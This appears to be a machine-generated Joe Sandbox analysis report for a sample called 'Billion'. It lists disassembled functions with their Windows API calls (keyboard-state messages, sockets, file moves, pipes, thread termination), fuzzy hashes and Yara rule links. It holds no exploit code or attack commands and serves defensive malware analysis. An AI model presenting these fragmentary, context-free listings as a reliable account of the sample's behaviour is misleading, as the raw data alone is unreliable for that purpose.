Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 1ae4658286d2afaa704dc8853e674bf09b15c8cc2860ba61a59f1dabcda9fd95
Instruction ID: 712686302e911a6b65bd9056f2a516d534c38a6beb93939ff0c08514dd282e2e
Opcode Fuzzy Hash: 1ae4658286d2afaa704dc8853e674bf09b15c8cc2860ba61a59f1dabcda9fd95
Instruction Fuzzy Hash: 7651E2A061C7D53EFF3642349D95BBABEA95F06708F088489E1D5468D2C3E8EDC4D750

Function 0019B6A1 Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0019B6E0
GetKeyboardState.USER32(?), ref: 0019B6F5
SetKeyboardState.USER32(?), ref: 0019B756
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0019B782
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0019B79F
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0019B7DE
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0019B7FF

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: dccf32c475b6d6780a9feb5da8da21fdd329f1e8c3aff166a98dd10aad8fad8d
Instruction ID: b237568513bb12565ed1efa08b9c6070063bd3a4f0b7059c343e5c168d2cf1ab
Opcode Fuzzy Hash: dccf32c475b6d6780a9feb5da8da21fdd329f1e8c3aff166a98dd10aad8fad8d
Instruction Fuzzy Hash: E35123A090C3D53EFF368374DD95BBABEA96B46300F0C8589E0D94A8D2D394EC94D750

Function 001657A1 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,00165F16,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 001657E3
__fassign.LIBCMT ref: 0016585E
__fassign.LIBCMT ref: 00165879
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0016589F
WriteFile.KERNEL32(?,FF8BC35D,00000000,00165F16,00000000,?,?,?,?,?,?,?,?,?,00165F16,?), ref: 001658BE
WriteFile.KERNEL32(?,?,00000001,00165F16,00000000,?,?,?,?,?,?,?,?,?,00165F16,?), ref: 001658F7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 3092846aef1425fe9c71965cb008c6d040275b104c2c72a2fb5e7b46160e33db
Instruction ID: 2f2814879d98b28427cd672038e7131ae6b03e8074dee6d141522e2f668df2de
Opcode Fuzzy Hash: 3092846aef1425fe9c71965cb008c6d040275b104c2c72a2fb5e7b46160e33db
Instruction Fuzzy Hash: CD51A171A00649DFDB10CFA8DC85AEEBBF9EF09310F14411AE955E7291D730DA61CB61

Function 001623C1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00162433
_free.LIBCMT ref: 00162453

Strings

`, xrefs: 001623E6, 00162428, 00162448, 001624C8

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _free
String ID: `
API String ID: 269201875-609909085
Opcode ID: 5283a3ea633ac4d3a4888a9aaa0f736f7f9f925e053fedb40e6ae30cbf6a1491
Instruction ID: 9e6a4e10652935a6ed0003ce653cd48c3334778bca371db04b936e92f33f1db2
Opcode Fuzzy Hash: 5283a3ea633ac4d3a4888a9aaa0f736f7f9f925e053fedb40e6ae30cbf6a1491
Instruction Fuzzy Hash: 6E41B132A00A109FDB24DFB8CC81A6DB7E6EF89314F1545A9E915EB391DB31ED11CB81

Function 00153090 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001530BB
___except_validate_context_record.LIBVCRUNTIME ref: 001530C3
_ValidateLocalCookies.LIBCMT ref: 00153151
__IsNonwritableInCurrentImage.LIBCMT ref: 0015317C
_ValidateLocalCookies.LIBCMT ref: 001531D1

Strings

csm, xrefs: 00153166

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 19a4548b4d13da6ffb2958abbf2767af812c4f6ba5638d45f742f52038965e02
Instruction ID: 903794f3d84cd3c85e5ae69550339a7e7841c4e5c40edc3a4b106c5235dae6a3
Opcode Fuzzy Hash: 19a4548b4d13da6ffb2958abbf2767af812c4f6ba5638d45f742f52038965e02
Instruction Fuzzy Hash: E3419234A00208EBCF10DF68C885AAEBBB5AF44396F148155EC35AF392D731DB09CB91

Function 001B1B15 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001B3AAB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 001B3AD7
Part of subcall function 001B3AAB: _wcslen.LIBCMT ref: 001B3AF8

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 001B1B6F
WSAGetLastError.WSOCK32 ref: 001B1B7E
WSAGetLastError.WSOCK32 ref: 001B1C26
closesocket.WSOCK32(00000000), ref: 001B1C56

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: c0e0cfcb961a393ee70d88ac71651ae2825cb02be71f41efc50e56634f16a2e9
Instruction ID: b179d19a4fad7f9e93fb55e447e189d8b54146ac4f25fd54ef95aaef8c17dc66
Opcode Fuzzy Hash: c0e0cfcb961a393ee70d88ac71651ae2825cb02be71f41efc50e56634f16a2e9
Instruction Fuzzy Hash: 0A411571600604AFDB109F24C985FEABBE9EF45324F558069F8059B292DB70ED81CBE0

Function 0019D7AB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019E6F7: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0019D7CD,?), ref: 0019E714

Part of subcall function 0019E6F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0019D7CD,?), ref: 0019E72D

lstrcmpiW.KERNEL32(?,?), ref: 0019D7F0
MoveFileW.KERNEL32(?,?), ref: 0019D82A
_wcslen.LIBCMT ref: 0019D8B0
_wcslen.LIBCMT ref: 0019D8C6
SHFileOperationW.SHELL32(?), ref: 0019D90C

Strings

\*.*, xrefs: 0019D89E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 2e89f4d2f3ea5f671598ff359cbd2c41d065e5fbdb03dd55c5d00ca7f3e5ff47
Instruction ID: 4e1d9bed14f1bfe63063ba2496b979e36abb659b606b68b8c3b34379d6cdd28d
Opcode Fuzzy Hash: 2e89f4d2f3ea5f671598ff359cbd2c41d065e5fbdb03dd55c5d00ca7f3e5ff47
Instruction Fuzzy Hash: 3B4162719052189EDF12EFA4D981EDE77B8AF18340F5004EAE609EB152EB34A788CB50

Function 001A42B9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 001A4310
TranslateAcceleratorW.USER32(?,00000000,?), ref: 001A4367
TranslateMessage.USER32(?), ref: 001A4390
DispatchMessageW.USER32(?), ref: 001A439A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001A43AB

Strings

( , xrefs: 001A437D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID: (
API String ID: 2256411358-2181176062
Opcode ID: 6cff617ce73d81ae33782c41b1ea05ca21ce9c9e0553f5101e2ae7265ac3210d
Instruction ID: 747d0085d3477110e4437732a0d04cbbee7951ee3af34e59d0c66b71e2a9da9f
Opcode Fuzzy Hash: 6cff617ce73d81ae33782c41b1ea05ca21ce9c9e0553f5101e2ae7265ac3210d
Instruction Fuzzy Hash: 3531A474904355DFEF38CB74E84DBB67BA8BF92304F14456AD4A2821A1E3F49489CB21

Function 001C3899 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 001C38B8
GetWindowLongW.USER32(?,000000F0), ref: 001C38EB
GetWindowLongW.USER32(?,000000F0), ref: 001C3920
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 001C3952
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 001C397C
GetWindowLongW.USER32(?,000000F0), ref: 001C398D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 001C39A7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: e425c8fc2259d0ce594cfae812cb048193e6da9338bdcdd1421143b82aeb1c56
Instruction ID: 5eac1a2629f93a4d3306488bdcaea155a4b0b20cbcacc5957abcd1acc3e473af
Opcode Fuzzy Hash: e425c8fc2259d0ce594cfae812cb048193e6da9338bdcdd1421143b82aeb1c56
Instruction Fuzzy Hash: F2311530704255EFDB21CF48EC89F6837A5FB9A718F1552A9F5208B2B2CB71E985DB01

Function 0019808D Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001980D0
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001980F6
SysAllocString.OLEAUT32(00000000), ref: 001980F9
SysAllocString.OLEAUT32(?), ref: 00198117
SysFreeString.OLEAUT32(?), ref: 00198120
StringFromGUID2.OLE32(?,?,00000028), ref: 00198145
SysAllocString.OLEAUT32(?), ref: 00198153

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 9d478ee52bce65d9bd431a541bbb482fef5217269ff1d64cc8021e899cb7314b
Instruction ID: 79252ffd3b9987bc2c67716c7797e15c322dd1424581f4d21538c39c7a2691fa
Opcode Fuzzy Hash: 9d478ee52bce65d9bd431a541bbb482fef5217269ff1d64cc8021e899cb7314b
Instruction Fuzzy Hash: 3F217176600219AFDF14DFA8DC88CBB77ACEB0A3647048535FA15DB290DB74ED868760

Function 00198164 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001981A9
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001981CF
SysAllocString.OLEAUT32(00000000), ref: 001981D2
SysAllocString.OLEAUT32 ref: 001981F3
SysFreeString.OLEAUT32 ref: 001981FC
StringFromGUID2.OLE32(?,?,00000028), ref: 00198216
SysAllocString.OLEAUT32(?), ref: 00198224

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: a1db4fa03ff62af04bd206e1b445884f0ef48f357b940fa25b2edd596c8a915e
Instruction ID: f6432c456f9dbac1959d4e05de3cf1f432d3cd16a5eac38c09c3b671c826cdb3
Opcode Fuzzy Hash: a1db4fa03ff62af04bd206e1b445884f0ef48f357b940fa25b2edd596c8a915e
Instruction Fuzzy Hash: 69215675604504BF9F14DFA8EC89DAA77ECEB0A3607048135F915CB1A1DB70EC82C764

Function 001A0E79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 001A0E99
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 001A0ED5

Strings

nul, xrefs: 001A0F0E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: e6f59b5f0576f33b3e29370db316ae6f7a0f0599e4bcc7d0e3f40b4acf34c277
Instruction ID: 0930aed564a7dd54358e8a37ff76f34256d46ea28e052e1c290b4992d93bf865
Opcode Fuzzy Hash: e6f59b5f0576f33b3e29370db316ae6f7a0f0599e4bcc7d0e3f40b4acf34c277
Instruction Fuzzy Hash: EE21817950030AAFDB318F65DC04A9ABBE8BF5A720F204A69FCA5E72D0D771D841DB50

Function 001A0F4E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 001A0F6D
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 001A0FA8

Strings

nul, xrefs: 001A0FE0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 06c050437d8bdf6df793ed9045ece410ee83bee23a87abd651a485a3d3a1c169
Instruction ID: 9030f79aaff0e44bc4b5b0c2ab89b599431495f6b667f856d09e15f62fe293ec
Opcode Fuzzy Hash: 06c050437d8bdf6df793ed9045ece410ee83bee23a87abd651a485a3d3a1c169
Instruction Fuzzy Hash: 3B21A179500345EFDB309F689D04A9ABBE8BF5A720F200A19F9A1E32D0D770D981DB50

Function 001C4B4B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00137873: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001378B1
Part of subcall function 00137873: GetStockObject.GDI32(00000011), ref: 001378C5
Part of subcall function 00137873: SendMessageW.USER32(00000000,00000030,00000000), ref: 001378CF

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 001C4BB0
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 001C4BBD
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 001C4BC8
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 001C4BD7
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 001C4BE3

Strings

Msctls_Progress32, xrefs: 001C4B81

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 140cc2d1547ba4a5bff702334875e594d5560001f1494900f711422ec52bce52
Instruction ID: 9bb376a3c0ba6d299d96b626567ae2bf92bdaf68b3043269692493539752d2ab
Opcode Fuzzy Hash: 140cc2d1547ba4a5bff702334875e594d5560001f1494900f711422ec52bce52
Instruction Fuzzy Hash: 9E1181B5150219BEEF118E64CC85FEB7F6DEF18758F014111B608A2090CB72DC219BA0

Function 0016DB5F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0016DB23: _free.LIBCMT ref: 0016DB4C

_free.LIBCMT ref: 0016DBAD

Part of subcall function 00162D38: RtlFreeHeap.NTDLL(00000000,00000000,?,0016DB51,00201DC4,00000000,00201DC4,00000000,?,0016DB78,00201DC4,00000007,00201DC4,?,0016DF75,00201DC4), ref: 00162D4E
Part of subcall function 00162D38: GetLastError.KERNEL32(00201DC4,?,0016DB51,00201DC4,00000000,00201DC4,00000000,?,0016DB78,00201DC4,00000007,00201DC4,?,0016DF75,00201DC4,00201DC4), ref: 00162D60

_free.LIBCMT ref: 0016DBB8
_free.LIBCMT ref: 0016DBC3
_free.LIBCMT ref: 0016DC17
_free.LIBCMT ref: 0016DC22
_free.LIBCMT ref: 0016DC2D
_free.LIBCMT ref: 0016DC38

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 98b13fc91f4fe31fecb0273d364a71dd69e1171f55120a532e903f65f4669862
Instruction ID: 8b5ffa96e3ce2b022efa3797f90345f50bfc9c83b205965322771e1b81beb38b
Opcode Fuzzy Hash: 98b13fc91f4fe31fecb0273d364a71dd69e1171f55120a532e903f65f4669862
Instruction Fuzzy Hash: 3B113072A41B04BAD620BBB0DC07FDB77DCAF26700F418C19B299EA252DB75B5248750

Function 0019E30E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0019E328
LoadStringW.USER32(00000000), ref: 0019E32F
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0019E345
LoadStringW.USER32(00000000), ref: 0019E34C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0019E390

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0019E36D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 0a144883010202b11602dcc4a86a180cb652210596485dfe37618888b16b4893
Instruction ID: 8df11c9e09cb616e2a9ce4ecb6366a1d5cf2e2d8c751b2cb58dfaf04e9dd3330
Opcode Fuzzy Hash: 0a144883010202b11602dcc4a86a180cb652210596485dfe37618888b16b4893
Instruction Fuzzy Hash: BA01A2F29002087FE71097A4DD89EEA7B6CDB08300F4041A1B705E2441E770DE848B75

Function 001A1312 Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 001A1322
EnterCriticalSection.KERNEL32(00000000,?), ref: 001A1334
TerminateThread.KERNEL32(00000000,000001F6), ref: 001A1342
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 001A1350
CloseHandle.KERNEL32(00000000), ref: 001A135F
InterlockedExchange.KERNEL32(?,000001F6), ref: 001A136F
LeaveCriticalSection.KERNEL32(00000000), ref: 001A1376

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 9b5706406017846687e4e0855b56ba4f77035d4420923e6cd4a67cc4417ec626
Instruction ID: a43795d59e2ecceaca8f3c96ea8b34707a050eb0ac3ec28c9b52780c62411886
Opcode Fuzzy Hash: 9b5706406017846687e4e0855b56ba4f77035d4420923e6cd4a67cc4417ec626
